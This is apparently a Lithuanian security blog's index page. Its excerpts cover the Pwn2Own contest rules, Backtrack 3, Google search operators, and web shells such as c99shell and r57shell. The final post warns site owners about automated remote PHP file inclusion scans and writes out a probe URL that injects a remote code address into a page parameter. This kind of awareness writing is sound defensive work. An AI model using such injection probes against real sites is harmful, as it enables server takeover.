Nuo 2007 metų konferencijos CanSecWest metu vyksta konkursas “PWN to 0WN”. Šiemet konkursas vyko antrą kartą. Visas veiksmas vyksta tris dienas, o jo metu saugumo analizei pateikiami 3 nešiojami kompiuteriai su standartinėm OS instaliacijomis ir visais atnaujinimais. Šiemet konkurse dalyvavo:

• Sony VAIO VGN-TZ37CN su Ubuntu 7.10
• Fujitsu U810 su Vista Ultimate SP1
• MacBook Air su OSX 10.5.2

Konkurso tikslas - išlaužti kurią nors sistemą. Tačiau tam egzistuoja kelios taisyklės. Kadangi konkurso trukmė yra trys dienos, tai pirmąją dieną galima išnaudoti tik nuotolinius pažeidžiamumus be jokių įsikišimų iš sistemų vartotojų. T.y. tiesiog tinkle yra įjungtos šios trys sistemos ir tikslas yra surasti jose rimtus pažeidžiamumus. Pirmam tai padariusiam atitektų išlaužtas kompiuteris ir 20 000 USD piniginis prizas. Antrąją dieną sąlygos šiek tiek keičiasi. Jau galima išnaudoti ne tik nuotolinius pažeidžiamumus, bet ir standartinių klientinės dalies aplikacijų pažeidžiamumus (pvz. paspausti el. paštu atėjusią nuorodą, nueiti į kokį nors tinklalapį ar pasinaudoti pokalbių programa). Pirmam tai padariusiam antrąją dieną atitektų išlaužtas kompiuteris ir 10 000 USD piniginis prizas. Trečiąją dieną sąlygos dar palengvėja. Dabar jau galima diegti į sistemas populiarias trečiųjų šalių aplikacijas. Žinoma, mažėja ir prizas. Trečią dieną laimėti galima išlaužtą kompiuterį ir 5000 USD piniginį prizą. Vienu metu viena komanda gali dirbti tik su viena sistema. Sistemos keičiasi kas tam tikrą laiko tarpą.

Skaityti visą įrašą…

Šiandien mane kaip reikiant sunervavo nezinau.lt su savo blogorama. Joje radau, kad bilietai į Blogin konferenciją jau pasibaigę. Kadangi šiandien pagaliau paaiškėjo, kad penktadienis man neužimtas, tai rytdieną planavau pradėti nuo bilieto pirkimo. Tai ką dabar rytoj ryte veikt? Ei, Blogin organizatoriai, kaip pirmo etapo blog’ų konkurso nugalėtojui galėtumėte kokį bilietą ir sukrapštyti. Žodžiu turiu problemą dabar gyvenime. Kur gauti bilietą?

Kad jau taip, tai pabūsiu šiandien blogas ir supažindinsiu Jus su linux live distribucija Backtrack 3. Kol kas tik beta. Bet jos autoriai sako, kad ne betoje bus tik didesnis suderinamumas su įranga.

Skaityti visą įrašą…

Google. Senai apie jį rašiau. Daugelis turbūt naudojatės paprasčiausia paieška be jokių specialių operatorių. O jų Google turi nemažai ir naudojantis jais galima visai neblogai “patobulinti” paiėšką. Pvz. operatorius “intitle:”. Jei paieškoje panaudosi tokį operatorių, tai paieškos rezultatas bus puslapiai, kurių pavadinime yra nurodytas žodis. Dedu iliustracijas su pavyzdžiu.

Skaityti visą įrašą…

Jau anksčiau rašiau apie bandymus automatiniu būdu įterpinėti nutolusį programinį kodą. Ataka primityvi, bet vis gi… Ok, kas būna toliau, kai tokio bandymo atveju, per parametrą pavykstą tą kodą įterpti? Toliau būna bandoma paleisti WebShell’ą. WebShell - vartotojo sąsaja skirta valdyti serverį per naršyklę. Valdyti ne šiaip spaudžiojant pelę, bet tarsi per ssh, turint komandinę eilutę ar kitais būdais, kurie priklauso nuo situacijos. T.y. galimybės būna tokios pačios kaip normaliai prisijungus prie serverio. WebShell’ai būna geri ir blogi. Geri - skirti administratoriams jų sistemų priežiūrai. Tokių rasite daug per google, pvz. kad ir šis: http://www-personal.umich.edu/~mressl/webshell/. Norint juos paleisti, kartais reikia įdiegti papildomas bibliotekas serveryje. Blogi - serverio valdymo perėmimui po įsilaužimo. Pastarieji padaryti taip, kad visko serveryje diegti reikėtų kuo mažiau ir jų veikimui pakaktų standartinės serverio konfigūracijos. WebShell’as į serverį dedamas ir kitais būdais įsilaužus, ne tik aprašytuoju anksčiau, nes tai patogus būdas pasidaryti “atsarginį priėjimą”, jei netyčia serverio skylė butų užlopyta. Web’as yra ta terpė, kuri dažniausiai laisvai praeina pro visas apsaugos priemones, nes web’u visi naudojasi ir jam kelias paliktas atviras. Būtent dėl šios priežasties įsilaužėliai ir mėgsta tokius specializuotus WebShell’us kaip c99shell, remview ar r57shell.

Skaityti visą įrašą…

Per pasaulį keliauja automatizuota pažeidžiamumų paieška. Šiandien ji vėl užsuko į Lietuvą. Tikslas tokios paieškos paprastas - rasti tinklalapius, kuriuose galima vykdyti PHP programinį kodą iš nutolusių šaltinių. Pažeidžiamumų paieška vyksta per HTTP protokolo GET užklausų parametrus. T.y. per adreso eilutę. Pvz. Jei kažkokią informaciją iš puslapio galima pasiekti adresu www.isec.lt/page.php?id=1, tai pažeidžiamumas tikrinamas suformauojant tokį adresą: www.isec.lt/page.php?id=http://sahel55.com/articles/omaduro/kimumid/. Ir tas pats bandoma su visais adreso parametrais. Jei nueisit adresu http://sahel55.com/articles/omaduro/kimumid/, tai nerasit nieko daugiau, tik vieną PHP kodo eilutę:

Jei Jūsų serveris šios eilutės neapdoros, tai nieko ir neįvyks. Bet jei Jūsų serveris išskaičiuos MD5 ir pateiks kaip atsakymą į užklausą, tai automatinės pažeidžiamumo paieškos autoriams turėtų būti ženklas, kad galima perimti Jūsų serverio valdymą. Ir jie turbūt tai padarys. Neabejoju, kad su lietuviškais tinklalapiais jiems tikrai pasiseks. Po kelių dienų laukim pranešimo spaudoje su kokia nors tokia antrašte: “Arabų programišiai išdarkė daugiau nei pusę lietuviškų tinklalapių”. Dabar Jūs eikit žiūrėti savo tinklalapio log’ų ar pas jus šis testas dar nebuvo užsukęs ir ar jam nepasisekė, o aš einu paspęsiu spąstus tolimesnei analizei. Tikiuosi spąstai suveiks.